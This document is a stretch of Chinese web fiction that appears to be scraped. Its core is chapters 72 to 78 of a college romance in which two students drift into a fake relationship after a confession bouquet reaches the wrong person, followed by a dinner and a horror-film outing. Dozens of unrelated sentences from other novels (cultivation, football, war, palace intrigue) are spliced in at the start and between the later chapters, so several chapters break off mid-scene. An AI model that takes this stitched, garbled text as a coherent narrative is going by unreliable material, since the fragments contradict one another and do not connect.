“大哥在家?”姬五闻言,不仅微微皱眉,大哥姬临,剑气修为强大,虽然自己算得上的一个修为剑气的天才,但终究这些年所学有限,远不如姬临。 第十五层内虽然还有些幻象,但此时的魏炎已然想到了破解之道。 当周莹莹抬起头的时候,便迎上了许哲火辣辣的目光,脸上再度浮出一抹红晕。见此,许哲下意识地抱住了周莹莹的蛮腰。 暴熊自知已难逃一死,眼中闪过一道凶狠的光芒,全身所剩能量全部开始诡异的聚集起来,就算是死也要拖上几个垫背的。 不承认就算了,反正秦念知道,他不可能真的和苏欣怡订婚,否则,也绝不会让自己带着周怡一起去。 可这是深夜,是拥有黑暗属性的乐羽的主场!无论烈火和光明如何挣扎,也越不过天时的绝对压制。 恒夜的脸色突然跟吞了苍蝇一样难看。天魔心就是他的心脏!要天魔心,这跟要了他的命有什么区别? 他就这么瞎转了一会,魔方突然冒出一束白光,那道光非常亮,几乎照亮了整个房间,如黑暗中的明灯一般。 秦念心中比任何人都更加紧张,不仅因为写真集的拍摄事关工作室的未来,更重要的是,妈妈设计的五套服装都会在写真集中展示,她很期待很盼望这些衣服能够被大家喜欢,也希望能通过这部写真集圆了妈妈做设计师的梦。 率先开口的人是一位年轻男人,一头翠绿的头发的年轻男人,他的名字是吉尔德·泰佐洛,他曾有一段凄美的爱情,目前的他,除了丧,全是丧。 “是真。但王兄若是想让他对抗教廷将功折罪,怕是不可能的事。廖司若忠君爱国,又怎会提供剧毒给光明教廷呢?”烨麟语气微沉。 第72章 我女朋友胆小 谢泠音一脸姨母笑,看着比孟棠还高兴。 “恭喜啊。”她看着魏川,“什么时候请我们宿舍的人吃饭呀?” 魏川呵呵干笑:“有空吧。” 谢泠音:“那我可等着了。” 许鹤清拽了下谢泠音:“还是咱俩先请吧。” “行。” 许鹤清想要回去将好消息分享给室友,想法一现,梁衡打来了电话。 他在手机里质问:“你俩怎么到现在还不见人影?” 许鹤清说:“你川哥在告白,我围观一下。” “别——”孟棠和魏川伸出的手同时僵在半空。 许鹤清狐疑地做了个口型:“怎么了?” 魏川生无可恋,摇了摇头。 下一秒,梁衡在手机里喊:“卧槽,告白不带我们?我连气氛组都不配了?” 魔音穿耳,魏川和孟棠尴尬地看着彼此。 许鹤清笑道:“这不是跟你说了?” “开扩音。”李卓凑过来喊了一嗓子。 许鹤清开了扩音。 “魏川,你可以啊,告白还瞒着兄弟。”李卓有些生气,“以后结婚是不是也不喊?” “我没有这个意思。”魏川第一次在兄弟面前气短。 李卓愤恨道:“你最好是。” “成功了吗?”梁衡提出关键性问题。 “你说呢。”许鹤清轻笑,“你川哥出马,一个顶俩。” 梁衡为兄弟高兴,还不忘操心一下自己和许鹤清:“咱俩也要加油了,我可不想到毕业还单着。” “呃……”许鹤清顿了下,“加油的只有你,我不用。” 梁衡升起一股不祥的预感:“什么意思?” “我也谈恋爱了。”许鹤清扔下一枚重磅炸弹。 梁衡石化了:“跟谁?” 许鹤清回:“谢泠音。” 梁衡“卧槽”一声:“她们寝室的人是不是给你俩下迷魂药了?川哥跟孟棠也就罢了,你跟谢泠音是什么时候的事?” “上个学期的事。” “操。”梁衡挂了电话。 孟棠呆愣了一瞬,下意识问许鹤清:“梁衡为什么说我和魏川?” 许鹤清波澜不惊道:“我们寝室和篮球队的,都知道你俩的事,不稀奇。” 孟棠看向魏川:“什么意思。” 魏川也一脸懵,问许鹤清:“都知道我俩的事?” 许鹤清点头:“对啊,你俩在这个废弃篮球场卿卿我我,是邵一鸣和田聿传出来的。” “卿卿我我?”魏川惊了,“他们哪知眼睛看见了?” 许鹤清说:“我也记不太清了,就是有一天晚上来寝室里说的,描绘的活灵活现。” 魏川:“……” 妈的,他回去一定要让田聿和邵一鸣活灵活现地给他表演一遍。 孟棠麻了,也就是说,魏川的朋友们一直以为他喜欢的人是她? 天大的误会也不过如此。 谢泠音可不知道孟棠复杂的内心,她挽上许鹤清的胳膊,自以为十分贴心地朝孟棠挥了挥手:“把时间留给你俩吧,我俩也去约个会。” 孟棠机械地跟她说了“再见”。 两人走后,安静的篮球场只听得到风声。 孟棠也不知道说什么,盯着远处墙上的彩灯,问:“你什么时候布置的?” 魏川说:“这个简单,中午休息的时候弄的。” 气氛又沉默了下来,魏川瞅着孟棠,小声问:“你是不是还没吃饭?” 孟棠摇了摇头:“我不饿。” 她现在很乱,哪有心思吃饭。 魏川低低应了声:“我知道。” 明明喜欢的是许鹤清,却被迫和自己“官宣”了,还惹得人尽皆知。 “对不起,我——” “不是你的错。”孟棠站累了,转头在台阶上坐下,“我也没想到事情的走向会这样乌龙。” 魏川在她身边坐下,说:“许鹤清很聪明,我当时除了把花给你,没有别的选择。” “若是我否认,说告白的人不是你,解释不了我约了谢泠音的事实,他事后一琢磨就能明白。” “说不定到最后,连你喜欢他的事也瞒不住。” “我只能将事情认下。” 听出他话里的小心翼翼,孟棠笑了笑,说:“我懂,没怪你。” 反倒是对他有些同情,满腔热情换来一瓢冷水。 “那我们……”魏川有些别扭,“我、我花给你了。” 孟棠缓缓吐出一口浊气,扭头跟魏川说:“这样吧,既然大家都误会了,我们又有一个不能说出口的秘密,那就暂时在一起吧。” “啊?”魏川愣了下,“你愿意?” 孟棠点了点头:“我知道你不愿意,不过都是假的,马上要放寒假,开学再跟朋友们说我们因为性格不合分开了。” 这是最好的解决方案。 魏川“哦”了声,眼底划过一丝说不清道不明的失落。 “别这样,谁能想到泠音一直瞒着恋爱的事。”孟棠安慰他,“她和许鹤清已经谈了大半年,你再喜欢,也只能放心里。” “我不是——” “我知道。” 魏川:“……” 你知道什么啊。 反正也说不清,他垂头看了眼时间,说:“我带你吃饭去吧。” “我还是回寝室吧。” “吃饭去吧,这个点还早,在谢泠音看来,我告白成功,无论如何也不能让女朋友饿肚子吧?” “我们又不是真的。” “在别人眼里,我们就是真的,还没放寒假,你就已经想着和我分道扬镳了?” 说不过他,孟棠抱着花起身:“走吧,吃饭去。” 花束太大,魏川接了过去:“我先给你拿着。” 魏川在手机里翻了翻,找到一个号码,拨了过去—— “喂,您好,请问还有包间吗?” 孟棠侧过身,想说随便吃一口,魏川根本不理会她的暗示。 “我女朋友胆小,不习惯坐大厅,包间小一点没有关系,带窗户就行。” 孟棠脚步一顿,这人进入角色这么快? “好,谢谢。” 魏川挂断电话,见她停着不走,问了句:“怎么了?” “逗我好玩吗?”孟棠白了他一眼。 魏川略微心虚:“我把你搬出来好说话啊,你看,这不是给了我一个带窗的包间。” 要不是时间问题,他哪里会在这里讨价还价。 这算约会吧?怎么也得将餐厅选好一点,他印象里,附近最好的餐厅就是他打电话的这家。 拐上大路,路灯明亮了许多,孟棠被一朵伸展的花刮到,下意识看了过去。 满目青绿,特别又亮眼。 视线像花枝一般伸延,那张洁白简约的卡片上手写着一句话—— 你若愿意,请无数遍在木头上刻下我的名字。 孟棠怔住,有一种魏川本就是要给她告白的错觉。 第73章 你坐前面,花坐后面 魏川打算自己开车,他从包里翻出车钥匙,对孟棠说: “我去开车,你在东门口路边等我。” “花给我吧。”孟棠抬手,“我先拿着。” 他可以先带到车上放着,但孟棠要,魏川就没说,将花给了她。 孟棠接过花束,确认魏川走了才根据卡片上的法语找到了花店的官网。 官网介绍详细,一目了然。 孟棠抱着的这束花礼是告白定制款。 简单来说就是根据人群定制,每一款都独一无二。 孟棠翻了下页面,对比了一下花束,估出魏川定制的是中档价位。 页面上有主题图片,其中一款跟孟棠怀中的花礼很像,标价4999。 魏川订的这束估计也差不多,孟棠咋舌,天价。 不过确实好看。 官网上有单独的花材介绍,孟棠翻到自己这捧的主花是日本绿芍药和荷兰木绣球。 她点进日本绿芍药的页面,下面有几行小字介绍,第一行是日语,她不认识,日语下缀着的不知道是不是翻译,写着: 第一次的告白,来源于青涩而笨拙的相遇。 孟棠脑子里自动回放她和魏川的初遇。 笨拙又尴尬,一切都太巧了。 视野里,人群模糊成片片光影,一声鸣笛,掩盖了她心脏猛烈跳动的一瞬。 孟棠回过神,魏川的车在她跟前停稳,她下意识拉开后门。 就要坐上去时,魏川回头叫了她一声:“把我当司机啊?” 孟棠动作僵住,抬眼说:“没有。” 魏川瞥了眼花束:“那你坐前面,花坐后面。” 孟棠只好去了副驾。 车辆再次启动,缓缓穿过一条狭窄的路后,孟棠侧眸问了句:“你当时去订花,没跟人家店员沟通吗?” “沟通了啊。”魏川疑惑她为什么这么问,“你当时不也在吗?” 孟棠说:“我后面没在啊,我跟你说了泠音喜欢暖色系,你选了个绿色的。” 魏川一愣:“可当时那个店员很专业啊,聊了几句就让我交定金了。” “你跟人家聊了什么?”孟棠怀疑他被坑了。 “聊了你。”魏川也察觉出不对来。 “聊我?”孟棠惊讶,“你选花给泠音告白,跟人家说我干什么?” 魏川余光瞥了她一眼:“我以为她跟我闲聊,就像出租车司机和乘客聊天一样,店员问我俩是不是学生,我不回答也不礼貌啊。” “她又问你喜欢什么颜色,爱听什么歌,我就都说了呗,哦对了,我还夸了你木雕厉害。” 孟棠:“……” 好吧,破案了。 “你是不是傻?”她实在没忍住,吐槽脱口而出。 “我怎么啦?”魏川还有些委屈。 还怎么了? 孟棠:“……你自己待会儿看看花就知道了。” 听懂她话里的无语,魏川没有追问,到餐厅门口的第一件事,就是停车去后座看了花。 孟棠在身后提醒:“看卡片上的字。” 魏川用手指将有点歪掉的卡片拨正,看到那一行意有所指的内容后突然轻笑了声。 店员可能是误会了,将孟棠对号入座了。 孟棠:“……你还笑?” “不笑我哭啊。”魏川关上车门,“阴差阳错。” 孟棠:“所以人家店员误会了是吧?” 魏川点了点头。 “你怎么能搞出这种乌龙。”孟棠小声嘟囔。 魏川:“比起谢泠音和许鹤清的事,这也不算什么吧?” 事已至此,孟棠还能说什么? 两人进了餐厅,在服务员的引导下进了最小的一个包间。 复古吊灯悬顶,光线柔和又暧昧。 魏川将菜单推给孟棠:“看看,要吃什么。” 孟棠其实不知道点什么,但将菜单推回去,势必又要跟他拉扯几个回合。 索性随意指了两道菜。 魏川又补了两道菜,转头问服务员:“你们家有没有推荐的甜品?” “不要了。”孟棠赶紧阻止,“这两天吃甜的吃多了,嗓子有点腻。” 魏川将菜单给服务员:“多添一道柠檬草椰子鸡汤。” 椰奶醇厚,香茅和青柠汁的酸辣能化解甜腻。 餐食很快上来,孟棠埋头吃饭。 吃相秀气斯文,一顿饭在沉默中吃完。 本着不浪费的原则,魏川将最后一点汤舀进碗中。 餐桌尽头抵着的墙上挂着一扇半掩的窗,窗外绿植挺立,夜色下别有一番意境。 孟棠托腮看过去,明眸善睐,气韵清婉。 魏川默默拿出手机,对着镜头整理了下头发。 “咔嚓”一声,孟棠转过了头。 魏川连忙调整镜头,慌乱地对自己咔嚓了好几张,翻过去给她看:“自拍呢。” 孟棠“扑哧”一声笑了。 魏川手腕一翻,顿时被自己丑到了,全都是鼻孔以下的照片。 操! 魏川一张张删除,手一抖,差点删到刚才的偷拍。 他收了手机,对孟棠说:“走吧,送你回寝室。” 二十分钟后,魏川的车停在19号楼楼下。 孟棠推开车门就要走。 “孟棠。”魏川连忙下了车。 孟棠转头,一脸疑惑:“怎么了?” 魏川从后座将花抱出来递给她:“你把它忘了。” “抱歉。”孟棠接过,和魏川说,“那我先上去了?” 魏川点了点头。 直至她的背影消失在女寝门口,他才转头上了车。 之前买花,有个服务群,魏川打开微信,发了一条“晚上好”过去,当即就有回复过来。 魏川输入:【请问我定制的那款花礼,你们有记录收花人的信息吗?】 【是这样的,因为您要惊喜感,我们并没有留孟小姐的信息,只留了您的,是花有什么问题吗?】 盯着“孟小姐”三个字,魏川确定是店员搞错了人。 他轻笑一声,回复:【没事,她很喜欢。】 对方回了一个表情:【恭喜。】 魏川回了“谢谢”。 孟棠抱着的花束太过漂亮,一路上回头率很高。 到了寝室门口,她忽然有些“近乡情怯”。 石岚出来晾衣服,看到孟棠先是一愣,随后魔音穿耳。 “嘘嘘嘘嘘……”孟棠抬起手阻止,但根本没用。 “啊啊啊,你终于回来了。”石岚扔掉盆,“我跟杨可等你好久了,你怎么这么不声不响啊?那可是魏川。” 谢泠音失笑:“魏川怎么了?孟棠也很优秀啊。” “对对对。”石岚附和一声,“还得是我室友。” 隔壁两个寝室听到动静被吓了一跳,外套都没披跑了过来。 看到孟棠捧着的花,有人“卧槽”一声:“瞬芙的告白花礼,谁给孟棠告白了?” 这还是个懂行的。 石岚嘿嘿一笑,想卖个关子,有人耐不住催促: “到底谁啊?” 第74章 我这里也有个小朋友呢 石岚哈哈一笑:“说出来吓死你。” “石岚。”孟棠无奈地叫了声。 “怎么了,你俩难不成要谈地下恋?” 孟棠:“……” 他俩不谈地下恋,因为他俩就没恋。 谢泠音听到地下恋,心虚地撇开视线。 “石岚,你快说。”又有人急道。 这束花普通学生根本舍不得买,她们实在好奇。 “体院的,190,打篮球的。”石岚装模作样,“猜吧。” “真的是魏川?” 孟棠一愣,怎么大家都默认她和魏川? 石岚与有荣焉地点了点头,表情十分臭屁。 “牛逼啊姐妹!”隔壁寝的女生朝孟棠竖起大拇指,“吾辈楷模,竟然拿下了魏川,你知道他拒绝了多少人吗?” 孟棠干笑。 那姐妹转头就冲楼道里喊:“卧槽,魏川谈恋爱了!” “喂。”孟棠下意识追出去,姐妹已经只闻其声,不见其人了。 “……” 不知道寒假后她和魏川“分手”,会不会也是这种暴风速度传遍校园。 孟棠生怕再有人来八卦,忙对室友说:“我先洗漱去了。” 花束桌子放不下,她放窗台了,枝条垂下,投下一片暗影,点缀出盎然春色。 洗漱完,孟棠赶紧爬上了床。 今天发生的事太多,到现在,她的脑子都是乱的。 一切稀里糊涂就那么发生了。 孟棠叹了声气,魏川却在这时打来了电话。 烦恼的罪魁祸首啊。 孟棠想了想,还是接了:“喂。” “你睡了?” 不知道是不是夜色深沉,他的声音带着安静的温柔。 孟棠耳际一片酥麻,小声道:“还没。” 魏川清了清嗓子:“许鹤清买了四张电影票,让我俩一起。” 出去吗?又是元旦节,孟棠第一反应就是人好多。 “我——” “他票已经买了。”魏川听出她话里的犹豫,连忙说,“明天是元旦,新年第一天呢,你要待在宿舍啊?” 孟棠觉得待在宿舍挺好的。 “去吧,虽说咱俩是假的,但在别人眼里是真的,我只放明天一天的假,不跟你在一起好像说不过去。” 该配合还得配合,孟棠应道:“好,我知道了。” 魏川挂着笑回了寝室,许鹤清扫过去一眼:“她答应了?” 魏川点了点头。 这时,邵一鸣和田聿敲了门进来:“川哥,你找我俩?” “来了。”魏川皮笑肉不笑,“你俩告诉我,你们是什么时候看到我跟孟棠在那个破篮球场卿卿我我的?” “难道不是吗?”田聿惊呆了,“给人孟棠带了晚饭,还是樱花饭团,粉色的,之后还拿着人家的手看了半天。我当时还以为你要亲上去。” 魏川:“……” 买樱花饭团是因为只剩那个了,至于看手是孟棠受伤了,他看看会不会留疤。 邵一鸣也来劲了,一把掰过田聿的身体,说:“来,我给你演示一下,你是怎么教她打篮球的。” 许鹤清、梁衡和李卓看得津津有味,肩膀笑得一抽一抽。 “你扶着人家。”邵一鸣摸上田聿的手腕,“像这样,语气那个温柔,眼神那个滴水,动作那个流氓。” “滚。”魏川脸色发烫,抬脚踢上邵一鸣的屁股,“你俩都滚。” 两人爆发出丧心病狂的笑,你推我搡离开了寝室。 站在原地半晌,魏川蓦地轻笑。 他才没耍流氓! 翌日上午,孟棠和谢泠音携手出了女寝。 魏川的车太高调,四人决定打车。 他们去的是商城里新开的电影院,许鹤清为了避开人群,买的中午场,影片要到下午两点结束,他们打算结束再去吃饭。 刚进电梯,乌溜溜上来一群人,许鹤清搂过谢泠音,不让别人碰着她。 魏川可不敢抱孟棠,只能凭借身高优势替她隔出一片小小的空间。 可他身后带着婴儿车的妈妈一个劲往他身上贴,魏川只能尽量避开,这样一来,他几乎贴上了孟棠。 早上起来,他是特意打扮过的,还喷了木质调的香水。 借鉴以往出门会被认出来的经验,头上顶了一款黑色的字母刺绣鸭舌帽,几乎压盖着眼睛。 但从孟棠的角度看,他的五官更加清晰立体。 这人是真的好看! 人多到难以喘息,热意上涌,孟棠抓握了一下手,试图驱散掌心的汗湿。 婴儿车的轮子半翘起来,那位妈妈似乎想要放平,又往后动了下。 “这位姐姐,真的不能再往后了。”魏川撑住电梯内壁,稍低肩膀,让她看自己胸前,“我这里也有个小朋友呢。” “不好意思啊。”那人连忙道歉,“我没看到人。” 魏川朝她笑笑,孟棠僵硬地接受了众多视线的洗礼。 终于到了四楼,四周空气抽回肺部,孟棠慢吞吞跟着出了电梯门。 谢泠音轻轻撞了下她,眼神戏谑又暧昧:“小朋友,他可真会啊。” 孟棠烧红了脸:“别说了。” 许鹤清问谢泠音:“你跟孟棠要喝什么?我去买。” 谢泠音转头问孟棠,孟棠说:“热的就行。” 魏川见许鹤清去买喝的,也自告奋勇:“我去电影院给你们买吃的。” 他没买套餐,买了巨无霸大桶爆米花。 挎着包,身姿挺拔,利落有型,魏川往柜台前一站,吸引了大片目光。 谢泠音将孟棠牵着走过去,将人往魏川旁边一塞。 魏川余光扫过,转头问:“怎么了?” 孟棠摇了摇头,一脸懵。 谢泠音笑得深藏功与名,这不,那些跃跃欲试的目光当即少了一半。 开场前五分钟,四个人检票入场。 他们在七号厅,进去一瞧才发现许鹤清订的情侣厅。 里面有明显的皮革味,用香气一掩盖,更难闻了。 双人沙发其实很宽敞,但架不住魏川人高马大。 孟棠往旁边让,魏川说:“位置挺大的,你别贴着边,不舒服。” “没事儿,”孟棠将爆米花递过去。 魏川拿了一粒爆米花,塞进嘴里,替她奶茶插入了吸管。 “谢谢。” 谢泠音听得想笑:“你俩整那么客气干啥?” “你还说人家,咱俩刚开始不也这样。”许鹤清吐槽。 “咱俩刚开始可没有像他俩这样坐得那么远。” 孟棠和魏川面面相觑,不约而同往中间坐了坐。 坐过了头,身体贴着,又往一旁挪了挪。 为了掩饰尴尬,魏川歪着身体问许鹤清:“你买的什么类型电影?” 许鹤清说:“悬疑恐怖类的。” 魏川一僵,眼珠半晌没转动。 第75章 跟我说话 魏川没谈过恋爱,也没理解许鹤清带女朋友看电影为什么要选悬疑恐怖片。 直到电影正式开场,谢泠音躲他怀里嘤嘤嘤的时候,他腹诽了一句:老奸巨猾。 影片开场,镜头聚焦一条昏暗的长坡,明明什么都没有,但魏川已经想喊救命了。 他摩挲着沙发扶手,缓缓往孟棠的身边靠。 余光里,一直有人影在晃动,孟棠偏过头问:“你害怕?” “没有。”魏川挺直腰背。 孟棠“哦”了声:“那你别动了,看电影吧。” 魏川转过头,镜头拉近,长坡上滚下一具尸体。 魏川一个激灵抬起手脚,是一个防御的姿势,生怕导演突然放大镜头给他来一个视觉痛击。 孟棠被他的动作吸引着转过头,发现他僵直着身体,关心道: “你真没事儿?” 魏川瞪着眼睛抓了把爆米花塞进嘴里,缓了缓紧绷的情绪。 随后才对孟棠摇了摇头。 孟棠将爆米花给他,感觉他比她需要。 有点甜腻,魏川喝了口水,将爆米花放到一旁。 随着剧情推进,主角开始找尸体,经过一系列的反转后,尸体就藏在主角的家里。 从门口到每一个房间,悬疑感拉满,发现尸体的那一刻,影厅的女生全都吓得埋进了男朋友的胸膛。 魏川“卧槽”一声一把扯住了孟棠的胳膊。 孟棠:“……” 不是说不怕的吗? 这么大一个子缩在一旁有些搞笑,孟棠扯了下唇角:“实在害怕你就睡觉吧。” “我没害怕,就是镜头突然转到床下,我没来得及准备。” “哦,”孟棠莫名想要逗一下他,“那你把手松开,你这样我没法看。” 魏川清了清嗓子:“这位置太近了,眼睛看得不舒服,要不,你往前坐坐?” 孟棠失笑:“你躲我后面啊?你这么高,我怎么挡得住?” “没躲。”魏川小声说,“我是给你做坚强的后盾,万一你害怕了,我从后面捂住你的眼睛,给你提供坚实可靠的胸膛。” 孟棠扯着笑,往前动了动。 沙发又宽又大,和别的情侣座位前后都间隔着一定的位置,两人的小动作也没人注意。 沙发后面空出一大截,魏川默默和孟棠交错了身体。 他又不想承认自己害怕,时不时越过孟棠的肩头瞄一眼屏幕。 一旦到了比较恐怖的情节,他的视线就定在空中,直至虚焦。 影片来到最高节点,影厅里尖叫一片,魏川再没忍住,一把抱住了孟棠的腰,嘴里不断重复:“卧槽卧槽卧槽……” 孟棠腰间一紧,被他的手劲弄得闷哼。 “魏川!”孟棠又惊又羞,“你松开我。” “别别别。”魏川被吓得脸色惨白,“求求了,等会儿。” 孟棠僵硬着没再挣扎。 影厅里很热,他们进来的时候脱了外套,孟棠这会儿只穿着一层薄薄的毛衣。 她的后背贴上一层温热,烘得脑子晕乎乎的,大屏幕上播放的片段从她眼前掠过,她却没法集中注意力。 魏川的手臂越收越紧,感受得到,他很怕。 可这也尴尬了。 半晌,孟棠偏过头,小声问:“你好了没?” 同时,魏川往前勾着头,和她四目相对。 大屏幕泛着冷冽的光,时亮时暗,一帧帧描绘出静止的暧昧。 呼吸萦绕,近在咫尺,孟棠抿了下唇,身体不由自主往后退。 魏川手臂收紧,两人猛地又拉近,鼻尖只差了毫厘。 孟棠猝然睁大眼睛:“你……” “我怎么了?”魏川低着声音,装无辜。 “你,你这样……我不能看电影了。”孟棠颤着声儿,音量逐字减小。 魏川说:“大家都这样。” 只不过都是女孩趴男孩怀里,他们调过来罢了。 “人家是情侣,可我们……”孟棠脸颊发烫,“不是啊。” 害怕的情绪逐渐回笼,魏川难得见孟棠害羞,鬼使神差地越抱越紧,还理直气壮:“那我怕怎么办?” 孟棠瞪眼,不是不怕的吗?她赶紧接话:“我陪你出去。” “电影还在放,我出去多扫兴啊,这样还打扰别人。” 孟棠拽住他手腕:“可你这样,我真的看不了电影。” “梁衡看鬼片,也喜欢躲在李卓后面抱着他,好朋友可以的。”魏川意有所指。 “啊?”孟棠总觉得哪里不对劲。 画面再次推进,魏川一头埋进孟棠的肩窝。 他是从后面抱着的,使得孟棠整个人都陷在他怀里。 “魏川。”孟棠快要哭了。 好香。 孟棠身上有一种独特的味道,沾染着天然的木香。 仅嗅了一下,听到她的哭腔,魏川慌乱地松开了她: “别哭啊,我不抱就是了。” 流氓!孟棠扭过脸,不搭理他。 毕竟在影厅,动作太大惹人烦,魏川靠着沙发背,视线盯着孟棠。 孟棠又不是木偶,自然能察觉到他的视线。 但经过刚才一遭,某些人的脸皮已经堪比城墙。 二十分钟后,电影结束,但没人走,都在等着彩蛋。 影厅里响起各种各样的声音,讨论剧情的、吃零食的、喝奶茶的…… 魏川拿了爆米花堵至孟棠唇边,小声求饶:“跟我说话。” 孟棠刚要开口,香甜的爆米花被塞进口中,她只能嚼了。 见魏川还要拿,她连忙阻止:“我跟你说话,别喂了。” 魏川失落,将爆米花扔进自己口中。 彩蛋看完,孟棠拿起包,下意识松了口气。 空调吹得她浑身骨头都软了。 待会儿还要吃饭,魏川将她外套拿起来搭在手上,问她:“饿不饿?想吃什么?” “问他们吧。”孟棠转头没看见外套,四处张望。 魏川抬了抬手:“我给你拿着呢。” “还是我自己拿吧。”孟棠伸手去接。 魏川将爆米花递给她:“你抱这个吧,还剩半桶呢。” 出了影厅,两个女生去了卫生间。 魏川捶了一把许鹤清:“你故意的?” 许鹤清斜睨他一眼:“我看你抱得挺顺手的。” 魏川:“……” 他害怕,一时情急。 不一会儿,谢泠音从卫生间出来,却不见孟棠。 魏川迎上去:“她人呢?” “接电话呢。”谢泠音接过许鹤清肩头的包,“等会儿吧。” “谁啊?”魏川下意识问了句。 谢泠音说:“美院新来的非遗传承的导师,可能找孟棠有事吧。” 魏川一下沉了脸。 第一卷 第76章 有主了 又是李寒津! 魏川从来没有这么讨厌过一个人,偏偏他和孟棠有着千丝万缕的联系。 一个喜欢孟棠的窥探者。 他窥探着孟棠的一切,用两人共同所学一点点勾着孟棠。 五分钟后,孟棠从卫生间出来,魏川赶紧敛了神色。 张扬进入主教练行业,还不到两年时间,先是带队米尔沃尔实现升级,随后带队米尔沃尔,创造历史般以升班马身份拿到英超和足总杯双料冠军。 罗川一句话都说不出来,他现在的心情很复杂。也不知道该如何回应王成此刻的问话。 “这个微弱的光斑?什么时候出现的?刚才分明没有的。”杜风诧异的盯着令牌。 康铭蹲下来用手拽住了他的手:“你的房间内有什么?”对着他再次问道。 不,应该说王皓已经超越了这一境界,至少,那些第四境的气血武者不可能有王皓这么恐怖的掌控力。 “住手!李纯,你想干嘛?”叶寒及时赶来,拦住了李纯。而安瑶急急去杜风那边,照看他的伤势。 这个年纪已经处在职业生涯的巅峰时期,再进行转会大多也是到更差的球队,去豪门最多只能打替补,已经没有了再去“证明自己”的时间。 也不知道在洞天福地开启之后,这些景区里面会发生什么样的变化? 说完后康铭挂断了电话,拿着手机想了想,找出古思涵的电话拨打了过去。 她知道是父母拿了去,跑去质问,他们没有否认,却告诉她东西都拿去当了,要东西没有,当票倒是有几张。 闻言,脸色瞬间惨白的身形,跌跌撞撞向后退开,跑到人少的墙边扶着墙垛使劲的呕吐起来。 罗盛转身离开之后,杨冰也是狠狠的望了刘柱跟林尘一眼转身离开。 她怒急之下,也是什么淫词浪语都是脱口而出,伴随着起码十几个部落不同的骂人语言,甚至连汉语中的直娘贼,老匹夫这些也是喷涌而出,倒灌进黑袍的耳中。 当苏月以为韩全英会趁曲妍粘着自己的机会单独与韩紫桐相处时,韩全英在曲妍和韩战住进来的第二天傍晚竟然明目张端的带了一个情人回来。 声音落下的瞬间,空气中发出巨大的呼啸,冲在前排靠右的一名重甲骑兵嘭的一声突然间从安拉特视线里向后飞了出去,一抹鲜血溅在他脸上,一支两指粗的弩矢贯穿无袖铜铠,将人插在了地上。 胡藩的双眼血红,握着刀的手,在发着抖,血性男儿,视荣誉重于生命,给人这样当众抢功,跟给人夺妻杀父也没啥区别了,他一咬牙,把刀架在脖子上,心一横,就准备自刎当场。 不久之后,在这天的下午,发生了一件不算好的消息。之前的外邦人,在这个下午找到了公孙止,便是要告辞西去长安。 这话李蓉没对慕容说,自然以她的家庭背景,工作上的东西不需要自己帮忙。 千秀心脸上的泪迹还未干,就这样睁着双眼看千絮紧闭的房门,她的一切“道理”还没有摆出来就被千絮这么没有礼貌地对待,她很生气,却不知道要去哪撒气。 要是这次不调查清楚,而蔺语晗那边真的出了什么问题,她只怕要后悔一辈子。 亦雪灵的目光扫到自己的手机,然后将它拿了过来,页面还停留在明英杰的那条消息上面。 第一卷 第77章 几天不见,男朋友也不认识了 结束了上午四节的理论课,孟棠将书本手机一股脑塞进包里。 她打算在最近的食堂对付一口午饭就去雕塑工作室忙期末作业。 作业最后要在公共展厅展览,因为要避开考试时间,也就还有十来天的时间。 匈奴兵刚遇到庞统军,只听得身后喊杀声冲天。于夫罗在阵中不解,拍马往后疾驰一看,只见那“自家人”白波军竟然杀得他后军不备。 霍连臣偏头侧睨了眼胡郢,没有说话,只是见胡易勤看见他走了过来时,走了上前。 刚要起身,突然发现某人脸色不对,宝春愣了下,不由叹气,这是又醋上了。 红色激光贯穿了无数能量,刺穿一个有一个牧师,连续秒杀了7名牧师,不幸的顺带了几名弓箭手。 \t车子停下,秦风和谢玉赶紧从车里下来,上前护在朱副总理的防弹车前。卓远从副驾驶下来,为朱副总理拉开车门,手护住车顶,将朱副总理从车上请下来。 武功招式和不求章法的一味蛮打,绝对是两种概念,如果光是靠蛮力就能称霸一方,怎么会有那么多前辈们创造出各种各样的武功招式呢? 顾北辰挂了电话,一点儿都不以坑了萧景而有什么不好意思。 响响亮亮的噼啪一声,裴诗茵脸上正正的多了五个红肿的手指印。 “你想告诉我什么?”一瞬间她的语气从先前的自信流畅变得惊慌苍凉。 在以上这些人当中,肃顺、载垣、穆荫三人的话最入咸丰的法耳,其次便是祁寯藻。 物竞天择,适者生存,这是自然法则,也是这个世界亘古不变的真理。 “什么?你再给朕说一次,你们居然还没圆房?”枫之凌的嘴巴张的都要塞下个鸭蛋了,他怎么也想不到,原来儿子纠结是因为这个,他们成亲可是都六年了,怎么可能不圆房? 偌大一个万象帝国,存在不知道多少年了,李家无数代流传下来,自然有许多血脉稀薄的后代流落在外。这些有一丝皇家血脉的后代,若是有朝一日能够有所成就,便立刻会被召回皇家,重点培养。 他是傀儡门弟子,被长老派出来保护王天,若是王天死了,那看重王天的长老,说不定怎么惩罚他呢。 可是,除了他们这样的超级强者之外,还有很多人需要王无双的能力——就好像陈弈他们这样,借用王无双的能力效果,来弥补自身的能力短板。 “洛思涵,不如听本皇一个建议如何?”看到洛思涵那盛气凌人的样子,而且在座的几位圣阶初期强者也已经开始蠢蠢欲动,皇甫梦天开口跟洛思涵说道。 努美利娅心头一凉。她略微开口,想要说点什么。可又实在不知道该怎么开口。她知道自己平日做事比较干脆直接,莫不是自己这戏演得不好,被尼禄这老鬼看出了猫腻? 颜如水冷笑,袖中软绫化为三道,分别飞向那三方逃走的三名御空境界强者,软绫仿似有生命一般,任凭那三人如何闪动,软绫如同长了眼睛,将三人去路堵死,最后紧紧围裹。 洛思涵在这个岛上已经如此的修炼的两个多月,每天都坚持跟混冰蛮牛战斗,哪怕一次次的被撞飞,一次次的受伤,一次次被整的全身疼痛,他都从来没有停歇过。 第一卷 第78章 来接你呗 孟棠和魏川是假的,但仅限于他们两个知道。 对于李寒津的问话,孟棠没有丝毫犹豫地点了头:“是。” “他果然对你没安好心。” 孟棠:“……” 四人下了车,鱼贯的穿过了马路径直來到了地下室的门口,而果不其然的是当两个把门的男人见到來人竟然是宋端午的时候,竟然直接伸手阻拦? 渐行渐远。一切都模糊了起来,无论是那掩藏于云中的月,还是那浓雾弥漫的密林,或是艳丽似燃的曼珠沙华。 如果是以前,估计那些心怀嫉妒的魔法师们还会对这种说法嗤之以鼻,认为李彦能有这样的成就已经很了不起了,怎么可能还会有别的手段呢? 不远处一个巨大的广告牌也被震的嗡嗡作响,上面印着的是市内一家最具实力的广告公司给自己做的品牌广告。 难道谢君和会不知道?她早就习惯了被遗忘。把犹豫的目光投向谢君和。 